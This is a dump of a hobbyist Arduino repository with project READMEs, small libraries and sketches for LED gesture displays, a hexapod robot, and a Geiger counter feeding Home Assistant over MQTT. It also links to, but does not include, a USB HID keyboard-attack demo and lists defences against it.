 18 | **3** [Neopixel ring gestures](#Neopixel-ring-gestures) Example usage of APDS9960 gesture sensor and a neopixel ring to animate a led rotation and change color
 19 | 
 20 | **4** [Keyboard exploit](#Keyboard-exploit) In this project i'm using an arduino leonardo to simulate a possible USB attack using HID (humain interface device)
 21 | 
 22 | **5** [Line follower](#Line-follower) A plain line follower with two stepper motors
 23 | 
 24 | **6** [Gyroscope led controll](#Gyroscope-led-controll) This project will control led's using gyroscope tilt
 25 | 
 26 | **7** [ZenWheelsRemote](#Zenwheels-remote-controll) This project will controll ZenWheels microcar with a gyroscope (work in progress)
 27 | 
 28 | **8** [CameraWebUpload](#Camera-web-upload) Uses the ESP32-cam to take pictures regularry and upload them using an api 
 29 | 
 30 | **9** [HASSGeigerIntegration](#HASS-geiger-integration) show arduino geiger counter readings on Home assistant (https://www.home-assistant.io/)
 31 | 
 32 | **10** [GestureClassifier](#Gesture-classifier) capture, train & predict gestures using Arduino nano BLE sensnse (work in progress)
 33 | 
 34 | **11** [Hexapod](#Hexapod) a project that enebles a hexapod to walk
 35 | 
 36 | # Libraries
 37 | 
 38 | **1** [TextMotorCommandsInterpretter](https://github.com/danionescu0/arduino/blob/master/libraries/README.md) Given a string command it sets a robot speed and angle
 39 | 
 40 | 
 41 | ## Computer auto lock
 42 | 
 43 | Dive into the realm of computer screen security with our intriguing tutorial. 
 44 | Explore the vulnerabilities of default screen lock timeouts in operating systems, where a minute of inactivity can expose your computer to unauthorized access. 
 45 | Discover the solution to this dilemma as we tackle the challenge of creating a device that automatically locks your computer when you're away. 
 46 | Join us on this exciting journey to enhance your computer's security and protect your valuable data.
 47 | 
 48 | Full tutorial here: https://www.instructables.com/id/Auto-Lock-Computer-System/
 49 | 
 50 | YouTube video: https://youtu.be/b7RvvMIwWFs
 51 | 
 52 | 
 53 | 
 54 | ## Neopixel ring gyroscope
 55 | 
 56 | Discover the magic of the MPU6050 gyroscope and Neopixel ring in our tutorial. Create a captivating LED display that responds to angle inclination using Arduino. 
 57 | Follow the step-by-step instructions to build this mesmerizing project on a breadboard and explore the impressive capabilities of these components. 
 58 | Unleash your creativity and embark on an illuminating journey of learning and fun.
 59 | 
 60 | YouTube video: https://youtu.be/MFQ2PecTw8g
 61 | 
 62 | Full tutorial here: https://www.instructables.com/id/Gyroscope-Fun-With-Neopixel-Ring/
 63 | 
 64 | 
 65 | 
 66 | ## Neopixel ring gestures
 67 | 
 68 | Immerse yourself in the world of gesture-controlled electronics with our comprehensive tutorial. Explore the enchanting combination of the APDS-9960 gesture sensor and a Neopixel ring, seamlessly integrated with an Arduino UNO.
 69 | 
 70 | Witness the magic unfold as your end product responds to left-right gestures with captivating LED movements and up-down gestures by dynamically changing LED colors. 
 71 | Discover the part list, connect the components, and unravel the code step-by-step, gaining invaluable insights into its inner workings. 
 72 | Unleash your creativity and embark on this mesmerizing journey today!
 73 | 
 74 | Using up - down gestures the leds will change color
 75 | 
 76 | Using left - right gestures the leds will appeare move to left / right
 77 | 
 78 | YouTube video: https://youtu.be/EOPIJkmsgAo 
 79 | 
 80 | Full tutorial: https://www.instructables.com/id/Controlling-a-Neopixel-Led-Ring-With-a-Gesture-Sen
 81 | 
 82 | 
 83 |  
 84 | 
 85 | ## Keyboard exploit
 86 | 
 87 | In this project i'm using an arduino leonardo to simulate a possible USB attack using HID (humain interface device).
 88 | 
 89 | YouTube video: https://youtu.be/PsYTfWgX3eU
 90 | 
 91 | Full turorial: https://www.instructables.com/id/Arduino-Keyboard-Exploit-Demo-HID-and-Prevention/
 92 | 
 93 | **Important!: You can defend against this kind of attack by:**
 94 | 
 95 | 1. Disabling USB ports
 96 | 
 97 | - for windows you can check this tutorial:http://www.thewindowsclub.com/disable-enable-usb-windowunlock-pen-drive-at-office-or-school-computer
 98 | 
 99 | 2. Whitelist USB devices:
100 | 
101 | - for windows: https://superuser.com/questions/1152012/block-unblock-usb-devices-except-whitelist
102 | 
103 | 2. Lock your computer when your're not away
104 | 
105 | 3. Don't login as root (require passwords for installing anything)
106 | 
107 | 4. Keep your self up to date (automatic updates on)
108 | 
109 | 
110 | ## Line follower
111 | 
112 | A plain line follower with two stepper motors.
113 | 
114 | This sketch uses PID algrithm (https://blog.opticontrols.com/archives/344)
115 | 
116 | 
117 | 
118 | YouTube video: https://youtu.be/oPWKSHsfMBM
119 | 
120 | 
121 | ## Gyroscope led controll
122 | Experience a mesmerizing play of light and motion with our DIY project. 
123 | Learn to construct a tilt-controlled dimmer using an Arduino Uno, gyroscope, and four LEDs arranged in a "+" shape on a breadboard. 
124 | As you tilt, the LEDs intensify, creating a captivating visual display. 
125 | Let your creativity shine with this simple yet enchanting electronics endeavor.
126 | 
127 | Full tutorial: https://www.instructables.com/id/Giroscope-led-controll-with-Arduino/
128 | 
129 | YouTube video: https://youtu.be/lYH1H_nWLz4
130 | 
131 | 
132 | ## Zenwheels remote controll
133 | Reverse engineer the ZenWheels microcar Android app to decode its communication protocol. 
134 | This project guides you in building a custom remote control using Arduino and a gyroscope. 
135 | Unleash your technical skills and transform your 5 cm toy car experience. 
136 | Full tutorial: https://www.instructables.com/member/danionescu/instructables/
137 | 
138 | YouTube video: https://youtu.be/ih9J1sDsSLk
139 | 
140 | The sketch controlls the angle and direction of the Zenwheels toy car using MPU6050 gyroscope
141 | 
142 |  
143 | 
144 | 
145 | 
146 | ## Camera web upload
147 | 
148 | Configure the sketch before the upload with your WIFI credentials, and the upload endpoint
149 | ````
150 | const char* ssid = "wifi_network_name";
151 | const char* password = "wifi_password";
152 | const char* uploadUrl = "http://endpoint_url";
153 | ````
154 | 
155 | A good tutorial about esp32 video camera here: https://randomnerdtutorials.com/esp32-cam-video-streaming-face-recognition-arduino-ide/
156 | 
157 | 
158 | ## HASS geiger integration
159 | 
160 | YouTube video: https://youtu.be/auRfZ5q2SrY
161 | 
162 | This project will integrate a arduino geiger counter (one that supports serial logging of CPM) into HomeAssistant.
163 | Full tutorial here: https://www.instructables.com/Home-Assistant-Geiger-Counter-Integration/
164 | 
165 | Home assistant is a great platform for home automation. If you don't know the platform you shoul check it out:) https://www.home-assistant.io/
166 | 
167 | ## Gesture classifier
168 | 
169 | Detects gestures that wore previously trained with gesture_capture.ino After an accelerationThreshold is reached, 
170 | the sketch begin recording numSamples (119) and then feeds in into TensorFlowLite to predict the gesture.
171 | 
172 | ###  Gesture capture
173 | 
174 | Uses the on-board IMU to start reading acceleration and gyroscope
175 | data from on-board IMU and prints it to the Serial Monitor for one second
176 | when the significant motion is detected, it also logs the data to a SD card
177 | 
178 | Saves each gesture data to a SD card in a separate file "1.csv", "2.csv" etc
179 | based on example from https://github.com/arduino/ArduinoTensorFlowLiteTutorials
180 | To record the next gesture swipe right with your hand in front of the board, it uses
181 | the on board gesture detector to detect GESTURE_RIGHT and to record in the next csv file
182 | 
183 | PINOUT
184 | 
185 | CARD READER 5V variant
186 | 
187 | * MOSI   -  pin 11  
188 | * MISO   -  pin 12
189 | * CLK    -  pin 13
190 | * CS     -  pin 4
191 | * GND    -  GND
192 | * VCC    -  VIN
193 |  
194 |  LED
195 |  
196 | * D2     -  pin through a 220ohms resistor
197 | * GND    -  GND
198 | 
199 | ### Gesture classifier
200 | 
201 | Detects gestures that wore previously trained with gesture_capture.ino
202 | After an accelerationThreshold is reached, the sketch begin recording numSamples (119)
203 | and then feeds in into TensorFlowLite to predict the gesture.
204 | 
205 | The LED is used to signal that the sketch is recording a gesture
206 | If you want to use your own trained data, replace #include "digits_model.h" with your own, then replace const char* GESTURES[] 
207 | with your own trained gestures
208 |                           
209 | Arduino IDE vs: 1.8.12
210 | 
211 | Libraries: 
212 | 
213 | * Arduino_LSM9DS1 (version 1.0.0)
214 | 
215 | * TensorFlowLite (version 2.1.0 ALPHA precompiled)
216 | 
217 | * ArduinoBLE (version 1.1.3)
218 | 
219 | Board version in arduino IDE:
220 | 
221 | Arduino mbed-enabled board vs 1.1.6 (tested with this version, does not work with other versions)
222 | 
223 | PINOUT
224 | 
225 | LED
226 | 
227 | * D2   -  pin through a 220ohms resistor
228 | 
229 | * GND    -  GND
230 | 
231 | Trained models:
232 | 
233 | digits_model.h -> uses gestures 0,1,2,3,4 (draw it in the air)
234 | 
235 | remote1.mode.h -> uses gestures cw,ccw,fwd (clockwise, counter clockwise, forward in the air)
236 | 
237 | ## Hexapod
238 | 
239 | ### About:
240 | Overall, the code provides a framework for controlling a hexapod robot using servo motors and receiving commands wirelessly through a Bluetooth module. It defines different functions for smooth movement, walking gait, initialization, and communication with a remote controller.
241 | 
242 | ### Components
243 | * Arduino Mega 2560
244 | * Arduino Mega servo shield
245 | * 18 servo motors (5V), eg: MG995
246 | * hexapod skeleton (kit) which contains laser cut parts
247 | * serial bluetooth module HC-05
248 | * battery (i used LiPo 2S 3000mAH)
249 | * high power step down regulator ( output >= 8A )
250 | 
251 | ### Commanding the hexapod via bluetoogh
252 | Commanding the Hexapod via Bluetooth
253 | 
254 | To control the hexapod robot wirelessly, you can use a serial remote control application on your Android or iOS device. Follow the steps below to establish a connection and program the buttons in the app to send serial commands to the hexapod:
255 | 
256 | Pairing with the Bluetooth Module:
257 | 
258 | * Make sure the Bluetooth module is properly connected to the hexapod robot.
259 | * On your mobile device, go to the Bluetooth settings and search for available devices.
260 | * Pair your mobile device with the Bluetooth module of the hexapod robot.
261 | 
262 | Programming Button Commands:
263 | 
264 | * Open the serial remote control application on your mobile device.
265 | * In the app settings or configuration section, locate the button programming feature.
266 | * Assign the following commands to the corresponding buttons:
267 | 
268 | 1) Left: Send the command "80" to the hexapod.
269 | 
270 | 2) Forward: Send the command "90" to the hexapod.
271 | 
272 | 3) Right: Send the command "100" to the hexapod.
273 | 
274 | 4) Left 45 degrees: Send the command "25" to the hexapod.
275 | 
276 | 5) Right 45 degrees: Send the command "155" to the hexapod.
277 | 
278 | 6) Start/Stop: Send the command "s" to the hexapod.
279 | 
280 | 7) Up/Down: Send the command "d" to the hexapod.
281 | 
282 | Controlling the Hexapod:
283 | 
284 | * To initiate the hexapod's movement, send the "s" command. By default, it will start walking forward.
285 | * To make the hexapod walk slightly to the left, send the command "80". For a 45-degree left turn, send "25".
286 | * To stop the hexapod's movement, send the command "s". To start again, send "s".
287 | * To make the hexapod walk slightly to the right, send the command "100". For a 45-degree right turn, send "155".
288 | * To make the hexapod sit down or stand up, send the command "d". This will toggle the elevation between sitting and standing positions.
289 | 
290 | By programming the buttons in the serial remote control application, you can conveniently command the hexapod robot's movements and adjust its elevation wirelessly through Bluetooth.
291 | 
292 | ### Libraries:
293 | 
294 | MegaServo: This library allows the control of multiple servo motors simultaneously.
295 | VirtualWire: This library provides support for sending and receiving messages wirelessly using RF modules.
296 | 
297 | ### Global Variables and Constants:
298 | 
299 | Various global variables and constants are defined, including variables for servo positions, speed factors, delay values, control commands, and flags.
300 | Structures:
301 | 
302 | The code defines several structures to represent different aspects of the hexapod robot, such as actuators, walking steps, servo steps, and remote control commands.
303 | Actuator Mapping:
304 | 
305 | An array named "motors" is defined to store the mapping of actuators. Each element of the array represents an actuator and contains information such as the actuator ID, pin number, direction, middle position, elevation, and side.
306 | Walking Steps:
307 | 
308 | A 2D array named "steps" represents the walking gait of the hexapod. It contains sequences of walk steps for different directions and leg movements.
309 | 
310 | ### Functions
311 | 
312 | Initialization (setup) Function: The setup function initializes the serial communication and servo motors. It also initializes the communication for receiving commands from a Bluetooth device and sets the initial values for the remote controller.
313 | Main Loop (loop) Function:
314 | 
315 | The loop function continuously checks for incoming commands from the Bluetooth device.
316 | 
317 | If the received command is a special function command (e.g., start/stop, up/down), the corresponding action is performed.
318 | 
319 | If the hexapod is allowed to move, it executes the walkForward function with the given direction and speed factor.
320 | 
321 | The walkForward function processes the walking gait by calculating the required angles for each actuator based on the direction.
322 | 
323 | The resetDefaults function resets the hexapod to its default position by smoothly moving each servo motor to its initial angle.
324 | 
325 | The smoothMove and addSmoothMove functions are used for smoothly transitioning between different servo positions.
326 | 
327 | The sitDown function is used to make the hexapod sit down by adjusting the angles of the servo motors.
328 | 
329 | The calculateAngleFromDirection function calculates the angle for a specific actuator based on the direction and actuator configuration.
330 | Communication Functions:
331 | 
332 | The initCommunication function initializes the communication for receiving commands from a Bluetooth device.
333 | 
334 | The getCommandsBT function reads and processes incoming commands from the Bluetooth device.
335 | 
336 | 
337 | 
--------------------------------------------------------------------------------
/boards/README.md:
--------------------------------------------------------------------------------
 1 | #Boards
 2 | 
 3 | ## NodeMCU
 4 |  
 5 | 
 6 | For instalation in Arduino IDE follow the steps from /boards/nodemcu: https://github.com/danionescu0/arduino/tree/master/boards/nodemcu
 7 | 
 8 | ## Arduino pro mini
 9 | 
10 | 
11 | ## Esp32 camera
12 | 
13 | 
14 | Instalation in Arduino IDE: https://randomnerdtutorials.com/installing-the-esp32-board-in-arduino-ide-mac-and-linux-instructions/
15 | 
16 | ## Arduino Nano 33 BLE Sense
17 | 
18 | 
19 | Overview: https://gilberttanner.com/blog/arduino-nano-33-ble-sense-overview
--------------------------------------------------------------------------------
/boards/arduino-nano-33-ble-sense.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/boards/arduino-nano-33-ble-sense.png
--------------------------------------------------------------------------------
/boards/arduinopromini.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/boards/arduinopromini.png
--------------------------------------------------------------------------------
/boards/esp32-camera.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/boards/esp32-camera.jpg
--------------------------------------------------------------------------------
/boards/nodemcu/nodemcu.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/boards/nodemcu/nodemcu.jpg
--------------------------------------------------------------------------------
/boards/nodemcu/step1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/boards/nodemcu/step1.png
--------------------------------------------------------------------------------
/boards/nodemcu/step2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/boards/nodemcu/step2.png
--------------------------------------------------------------------------------
/boards/nodemcu/step3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/boards/nodemcu/step3.png
--------------------------------------------------------------------------------
/boards/nodemcu/step4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/boards/nodemcu/step4.png
--------------------------------------------------------------------------------
/libraries/EncryptedSoftwareSerial/EncryptedSoftwareSerial.cpp:
--------------------------------------------------------------------------------
 1 | #include 
 2 | #include 
 3 | #include 
 4 | 
 5 | EncryptedSoftwareSerial::EncryptedSoftwareSerial(uint8_t rx, uint8_t tx, int baud, uint8_t* key, String DEVICE_CODE)
 6 | 	: _externalSerial(rx, tx)
 7 | {
 8 | 	_rx = rx;
 9 | 	_tx = tx;
10 | 	_externalSerial.begin(baud);
11 | 	_externalSerial.setTimeout(100);
12 | 	_key = key;
13 | 	_DEVICE_CODE = DEVICE_CODE;
14 | }
15 | 
16 | void EncryptedSoftwareSerial::transmit(String message)
17 | {
18 | 	_externalSerial.print(message);
19 | }
20 | 
21 | String EncryptedSoftwareSerial::getDecrypted()
22 | {
23 | 	int i;
24 |     for (i=0;i<=15;i++) {
25 |         _data[i] = _buffer[i+3];
26 |     }
27 |     aes128_cbc_dec(_key, _key, _data, 16);
28 |     String result = "";
29 |     for (i=0;i<=15;i++) {
30 |         if (_data[i] == _TERMINATOR) {
31 |             return result;
32 |         }
33 |         result += _data[i];
34 |     }
35 | 
36 |     return result;
37 | }
38 | 
39 | boolean EncryptedSoftwareSerial::parseIncomming()
40 | {
41 |     if (_externalSerial.available() > 0) {
42 |     	_externalSerial.readBytes(_buffer, 19);
43 |         if (isForThisDevice()) {
44 |             return true;
45 |         }
46 |         clearBuffer();
47 |     }
48 | 
49 |     return false;
50 | }
51 | 
52 | boolean EncryptedSoftwareSerial::isForThisDevice()
53 | {
54 |     String incommingDeviceCode = "";
55 |     incommingDeviceCode += _buffer[0];
56 |     incommingDeviceCode += _buffer[1];
57 | 
58 |     return incommingDeviceCode == _DEVICE_CODE;
59 | }
60 | 
61 | void EncryptedSoftwareSerial::clearBuffer()
62 | {
63 |     for (int i=0; i<=_bufferSize - 1; i++) {
64 |         _buffer[i] = ' ';
65 |     }
66 | }
67 | 
--------------------------------------------------------------------------------
/libraries/EncryptedSoftwareSerial/EncryptedSoftwareSerial.h:
--------------------------------------------------------------------------------
 1 | #ifndef EncryptedSoftwareSerial_h
 2 | #define EncryptedSoftwareSerial_h
 3 | 
 4 | #if ARDUINO >= 100
 5 |  #include "Arduino.h"
 6 | #else
 7 |  #include "WProgram.h"
 8 | #endif
 9 | 
10 | #include "SoftwareSerial.h"
11 | 
12 | class EncryptedSoftwareSerial {
13 |     public:
14 | 	    EncryptedSoftwareSerial(uint8_t rx, uint8_t tx, int baud, uint8_t* key, String DEVICE_CODE);
15 |         boolean parseIncomming();
16 |         String getDecrypted();
17 |         void transmit(String message);
18 |         
19 |     private:
20 |         uint8_t _rx;
21 |         uint8_t _tx;
22 |         char _buffer[19];
23 |         uint8_t* _key;
24 |         byte _bufferSize = 19;
25 |         char _data[16];
26 |         const char _TERMINATOR = '|';
27 |         String _DEVICE_CODE;
28 | 
29 |         SoftwareSerial _externalSerial;
30 | 
31 |         void clearBuffer();
32 |         boolean isForThisDevice();
33 | 
34 | };
35 | 
36 | #endif
37 | 
--------------------------------------------------------------------------------
/libraries/README.md:
--------------------------------------------------------------------------------
 1 | # Libraries
 2 | 
 3 | ### TextMotorCommandsInterpretter
 4 | 
 5 | Given a string command representing coordonates for X, Y axys, the library transforms
 6 | those on percentage of power for a two motor robot/car.
 7 | 
 8 | For the X (direction) between -50 and 50, and Y (power) between -50 and 50
 9 | 
10 | And for example the command: 
11 | "M:-25:16;" means (-25 left), and (16 power), it wil translate to
12 | left motor 17% and right motor 32%, and direction forward
13 | 
14 | "M:44:19;" means (44 to the right) and (19 power) it will translate to:
15 | left motor 38%, right motor 5% and direction forward
16 | 
17 | YouTube video: https://youtu.be/6FrEs4C9D-Y
18 | 
19 | Full tutorial here: https://www.instructables.com/id/Android-Controlled-Robot-Spy-Camera/
20 | 
21 | Usage example: 
22 | 
23 | ````
24 | #include 
25 | ....
26 | //declare instance, set X axys space from -50 to 50, Y axys space from -50 to 50
27 | TextMotorCommandsInterpretter motorCommandsInterpretter(-50, 50, -50, 50);
28 | ...
29 | //optional set command format
30 | motorCommandsInterpretter.setCommandFormat('M', ':', ';');
31 | // it will set command format with starting character 'M', ':' for internal delimiter, and ';' for command terminator.
32 | // this is the default but you can change it to any characters
33 | ...
34 | //use it to parse serial commands
35 | motorCommandsInterpretter.analizeText("M:-25:16;");
36 | float percentLeftMotor = motorCommandsInterpretter.getPercentLeft();
37 | float percentRightMotor = motorCommandsInterpretter.getPercentRight();
38 | boolean direction motorCommandsInterpretter.getDirection();
39 | 
40 | // percentLeftMotor will be 0.17
41 | // percentRightMotor will be 0.32
42 | // direction will be true
43 | ````
44 | 
--------------------------------------------------------------------------------
/libraries/TextMotorCommandsInterpretter/TextMotorCommandsInterpretter.cpp:
--------------------------------------------------------------------------------
 1 | #include 
 2 | 
 3 | TextMotorCommandsInterpretter::TextMotorCommandsInterpretter(int minX, int maxX, int minY, int maxY)
 4 | {
 5 | 	_minX = minX;
 6 | 	_maxX = maxX;
 7 | 	_minY = minY;
 8 | 	_maxY = maxY;
 9 | 	_debug = false;
10 | }
11 | 
12 | void TextMotorCommandsInterpretter::analizeText(String message)
13 | {
14 | 	_message = message;
15 | 	_power = _getMotorPower();
16 | 	int direction = _getMotorDirection();
17 |     float leftMotor, rightMotor;
18 |     int middleDirection = round((_maxX + _minX) / 2);
19 |     if (direction < 0) {
20 |         leftMotor = map(direction, middleDirection, _minX, 100, 0);
21 |         rightMotor = 100;
22 |     } else {
23 |         leftMotor = 100;
24 |         rightMotor = map(direction, middleDirection, _maxX, 100, 0);
25 |     }
26 |     int middlePower = round((_maxY + _minY) / 2);
27 |     float realPower = map(abs(_power), middlePower, _maxY, 0, 100);
28 |     if (_debug) {
29 | 		Serial.print("LMotor=");Serial.println(leftMotor);
30 | 		Serial.print("RMotor=");Serial.println(rightMotor);
31 | 		Serial.print("RealPower=");Serial.println(rightMotor);
32 |     }
33 |     _percentLeftMotor = ((realPower / 100) * (leftMotor / 100));
34 |     _percentRightMotor = ((realPower / 100) * (rightMotor / 100));
35 | }
36 | 
37 | float TextMotorCommandsInterpretter::getPercentLeft()
38 | {
39 | 	return _percentLeftMotor;
40 | }
41 | 
42 | float TextMotorCommandsInterpretter::getPercentRight()
43 | {
44 | 	return _percentRightMotor;
45 | }
46 | 
47 | boolean TextMotorCommandsInterpretter::getDirection()
48 | {
49 | 	return _power > 0 ? true : false;
50 | }
51 | 
52 | void TextMotorCommandsInterpretter::outputDebug(boolean debug)
53 | {
54 | 	_debug = debug;
55 | }
56 | 
57 | void TextMotorCommandsInterpretter::setCommandFormat(char startCharacter, char wordsBoundary, char endTerminator)
58 | {
59 | 	char _startCharacter = startCharacter;
60 | 	char _wordsBoundary = wordsBoundary;
61 | 	char _endTerminator = endTerminator;
62 | }
63 | 
64 | int TextMotorCommandsInterpretter::_getMotorDirection()
65 | {
66 |     byte splitPosition = _message.indexOf(':', 2);
67 | 
68 |     return _message.substring(2, splitPosition).toInt();
69 | }
70 | 
71 | int TextMotorCommandsInterpretter::_getMotorPower()
72 | {
73 |     byte splitPosition = _message.indexOf(':', 2);
74 |     byte endPosition = _message.indexOf(' ');
75 |     Serial.print("endPosition=");Serial.println(endPosition);
76 | 
77 |     return _message.substring(splitPosition + 1, endPosition).toInt();
78 | }
79 | 
--------------------------------------------------------------------------------
/libraries/TextMotorCommandsInterpretter/TextMotorCommandsInterpretter.h:
--------------------------------------------------------------------------------
 1 | #ifndef TextMotorCommandsInterpretter_h
 2 | #define TextMotorCommandsInterpretter_h
 3 | 
 4 | #if ARDUINO >= 100
 5 |  #include "Arduino.h"
 6 | #else
 7 |  #include "WProgram.h"
 8 | #endif
 9 | 
10 | class TextMotorCommandsInterpretter {
11 |     public:
12 | 		TextMotorCommandsInterpretter(int minX, int maxX, int minY, int maxY);
13 | 		void analizeText(String buffer);
14 | 		void outputDebug(boolean debug);
15 | 		void setCommandFormat(char startCharacter, char wordsBoundary, char endTerminator);
16 | 		float getPercentLeft();
17 | 		float getPercentRight();
18 | 		boolean getDirection();
19 |         
20 |     private:
21 | 		int _getMotorDirection();
22 | 		int _getMotorPower();
23 | 		String _message;
24 | 		float _percentLeftMotor;
25 | 		float _percentRightMotor;
26 | 		boolean _debug;
27 | 		char _startCharacter = 'M';
28 | 		char _wordsBoundary = ':';
29 | 		char _endTerminator = ';';
30 | 		int _power;
31 | 		int _minX;
32 | 		int _maxX;
33 | 		int _minY;
34 | 		int _maxY;
35 | };
36 | 
37 | #endif
38 | 
--------------------------------------------------------------------------------
/projects/HASSGeigerIntegration/HASSGeigerIntegration.ino:
--------------------------------------------------------------------------------
  1 | #include 
  2 | #include 
  3 | #include 
  4 | #include 
  5 | #include 
  6 | #include "Adafruit_MQTT.h"
  7 | #include "Adafruit_MQTT_Client.h"
  8 | 
  9 | 
 10 | #define ENABLE_OTA // comment this line if you don't want OTA
 11 | 
 12 | #define STASSID "ssid" // Replace with your WIFI SSID
 13 | #define STAPSK  "pass" // Replace with your WIFI password
 14 | #define SKETCHPASS "thepass" // OTA upload protection ;replace with your own
 15 | #define MQTT_SERVER "broker.hivemq.com" // replace with yout MQTT server if needed, broker.hivemq.com is a free MQTT broker
 16 | #define CPM_TO_MICROSIEVERTS 0.0056 // for SBM-20 geiger tube
 17 | 
 18 | const char* ssid = STASSID;
 19 | const char* password = STAPSK;
 20 | 
 21 | SoftwareSerial geigerCounter(13, 15);
 22 | WiFiClient client;
 23 | Adafruit_MQTT_Client mqtt(&client, MQTT_SERVER, 1883);
 24 | Adafruit_MQTT_Publish radiationTopic = Adafruit_MQTT_Publish(&mqtt, "ha/radiation");
 25 | 
 26 | 
 27 | void setup() {
 28 |     Serial.begin(9600);
 29 |     geigerCounter.begin(9600);
 30 |     Serial.println("Booting");
 31 |     WiFi.mode(WIFI_STA);
 32 |     WiFi.begin(ssid, password);    
 33 |     #ifdef ENABLE_OTA
 34 |     startOTA();
 35 |     Serial.println("OTA enabled");
 36 |     #endif
 37 | }
 38 | 
 39 | void loop() {
 40 |     #ifdef ENABLE_OTA
 41 |     ArduinoOTA.handle(); 
 42 |     #endif
 43 |     MQTT_connect();    
 44 |     if (geigerCounter.available()) {
 45 |         handleNewReading(geigerCounter.parseInt());
 46 |     }
 47 | }
 48 | 
 49 | void handleNewReading(int reading) {
 50 |     if (reading == 0) {
 51 |         return;// parseInt bug
 52 |     }
 53 |     char buf[50];
 54 |     String message = "{\"radiation\": " + String(reading * CPM_TO_MICROSIEVERTS) + "}";
 55 |     Serial.println(message);
 56 |     message.toCharArray(buf, message.length() + 1);
 57 |     radiationTopic.publish(buf);
 58 | }
 59 | 
 60 | void MQTT_connect() {
 61 |     int8_t ret;
 62 |     if (mqtt.connected()) {
 63 |       return;
 64 |     }
 65 |     Serial.print("Connecting to MQTT... ");
 66 |   
 67 |     while ((ret = mqtt.connect()) != 0) { // connect will return 0 for connected
 68 |          Serial.println(mqtt.connectErrorString(ret));
 69 |          Serial.println("Retrying MQTT connection in 5 seconds...");
 70 |          mqtt.disconnect();
 71 |          delay(5000); 
 72 |     }
 73 |     Serial.println("MQTT Connected!");
 74 | }
 75 | 
 76 | void startOTA() {
 77 |     while (WiFi.waitForConnectResult() != WL_CONNECTED) {
 78 |       Serial.println("Connection Failed! Rebooting...");
 79 |       delay(5000);
 80 |       ESP.restart();
 81 |     }
 82 |     ArduinoOTA.setPassword(SKETCHPASS);
 83 |     ArduinoOTA.onStart([]() {
 84 |         String type;
 85 |         if (ArduinoOTA.getCommand() == U_FLASH) {
 86 |           type = "sketch";
 87 |         } else { // U_FS
 88 |           type = "filesystem";
 89 |         }
 90 |         Serial.println("Start updating " + type);
 91 |     });
 92 |     ArduinoOTA.onEnd([]() {
 93 |         Serial.println("\nEnd");
 94 |     });
 95 |     ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {
 96 |         Serial.printf("Progress: %u%%\r", (progress / (total / 100)));
 97 |     });
 98 |     ArduinoOTA.onError([](ota_error_t error) {
 99 |         Serial.printf("Error[%u]: ", error);
100 |         if (error == OTA_AUTH_ERROR) {
101 |           Serial.println("Auth Failed");
102 |         } else if (error == OTA_BEGIN_ERROR) {
103 |           Serial.println("Begin Failed");
104 |         } else if (error == OTA_CONNECT_ERROR) {
105 |           Serial.println("Connect Failed");
106 |         } else if (error == OTA_RECEIVE_ERROR) {
107 |           Serial.println("Receive Failed");
108 |         } else if (error == OTA_END_ERROR) {
109 |           Serial.println("End Failed");
110 |         }
111 |     });
112 |     ArduinoOTA.begin();
113 |     Serial.print("IP address: ");
114 |     Serial.println(WiFi.localIP());
115 | }
116 | 
--------------------------------------------------------------------------------
/projects/HASSGeigerIntegration/diagram.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/HASSGeigerIntegration/diagram.jpg
--------------------------------------------------------------------------------
/projects/HASSGeigerIntegration/hass_scrn0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/HASSGeigerIntegration/hass_scrn0.png
--------------------------------------------------------------------------------
/projects/HASSGeigerIntegration/hass_scrn1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/HASSGeigerIntegration/hass_scrn1.png
--------------------------------------------------------------------------------
/projects/HASSGeigerIntegration/parts_breadboard.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/HASSGeigerIntegration/parts_breadboard.jpg
--------------------------------------------------------------------------------
/projects/Hexapod/Hexapod.ino:
--------------------------------------------------------------------------------
  1 | /* 
  2 |  Libraries used:
  3 | 
  4 |  MegaServo: https://playground.arduino.cc/Code/MegaServo
  5 |  
  6 |  Example bluetoth serial controll commands:
  7 |     Left: 80
  8 |     Forward: 90
  9 |     Right:100
 10 |     Left 45 degreeds:25
 11 |     Right 45 degreeds:155
 12 |     Start / Stop: s
 13 |     Up / Down: d
 14 | 
 15 |   Configuration:
 16 | 
 17 |   Configure actuator motors[] angles of your own robot
 18 |   
 19 | */
 20 | #include 
 21 | #include 
 22 | 
 23 | MegaServo Servos[18];
 24 | 
 25 | int i, j, newPos, changeAngleWith;
 26 | int delayBtwMooves;
 27 | const int defaultSpeedFactor = 10; // multiplied by a factor of 5, representing the delay after each group leg movements
 28 | const char inputToggleMotion = 's';
 29 | const char inputToggleElevation = 'd';
 30 | int speed, direction;
 31 | boolean finishedCurrentMove = false;
 32 | boolean hasMotion = false;
 33 | byte isUp = 1;
 34 | 
 35 | //definitions for serial comm ex bluetooth
 36 | char buffer[] = {' ',' ',' ',' '};
 37 | 
 38 | struct remoteC
 39 |   {
 40 |       uint8_t speedFactor;
 41 |       uint8_t direction;
 42 |       uint8_t special;    
 43 |   }; //remote controll return structure
 44 | 
